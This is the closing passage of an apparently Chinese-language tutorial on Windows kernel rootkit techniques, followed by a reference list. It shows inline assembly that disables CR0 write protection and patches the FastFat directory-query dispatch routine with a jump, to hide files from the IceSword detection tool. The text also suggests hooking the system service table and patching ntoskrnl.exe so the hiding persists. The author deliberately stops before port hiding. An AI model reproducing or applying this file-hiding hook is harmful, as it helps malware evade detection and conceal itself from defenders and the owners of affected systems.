bsp; &FileDeviceObject ); if ( FastFatStatus == STATUS_SUCCESS ) { _asm { pushad mov edi, FileDeviceObject mov eax, [edi+0x68] mov OldFatQueryDirectoryDispatch, eax popad }
_asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX }
_asm { pushad mov edi, OldFatQueryDirectoryDispatch mov eax, [edi] mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax mov ax, [edi+4] mov word ptr ResumCodeFatQueryDirectoryDispatch[4], ax mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68 lea edi, NewFatQueryDirectoryDispatch mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3
mov edi, OldFatQueryDirectoryDispatch mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4] mov word ptr[edi+4], ax popad }
_asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }
}
return ( NtfsStatus & FastFatStatus );
} 以上代码只能实现在IS中隐藏文件,如果要想在普通情况下隐藏文件,可以hook服务表中的函数,也可以在上面构造新的分派函数中增加一些选择项就是了。但是记得hook服务表中的函数别忘了把构造后的数据写入otoskrnl.exe中,免得IS启动时失效。
八、关于端口:
感觉是该停止的时候了,如果把这个也搞出来并且本文被灰鸽子作者之流A进他的作品的话,那就违背我的本意并且我的心也会也会难受的。因此就在这里止步吧! 呵呵,今年我想要学的东西,想要做的事情也都做完了。可以好好回去过年了。爽啊!最后祝各位圣诞快乐!特别时那些他乡的游子。记得打个电话回去问候哟!
参考文章:
wuyanfeng 《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !! tombkeeper 《获取Windows 系统的内核变量》 http://www.xfocus.net/articles/200408/724.html JIURL 《IRP 乱杂谈》 http://jiurl.yeah.net/ JIURL 《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http://jiurl.yeah.net/ JIURL 《JIURL玩玩Win2k 对象》 http://jiurl.yeah.net/ sinister 《隐藏任意进程,目录/文件,注册表,端口》
能记得住的文章就这几个了。 << 上一页 [11] [12] [13] [14] [15] [16] [17] |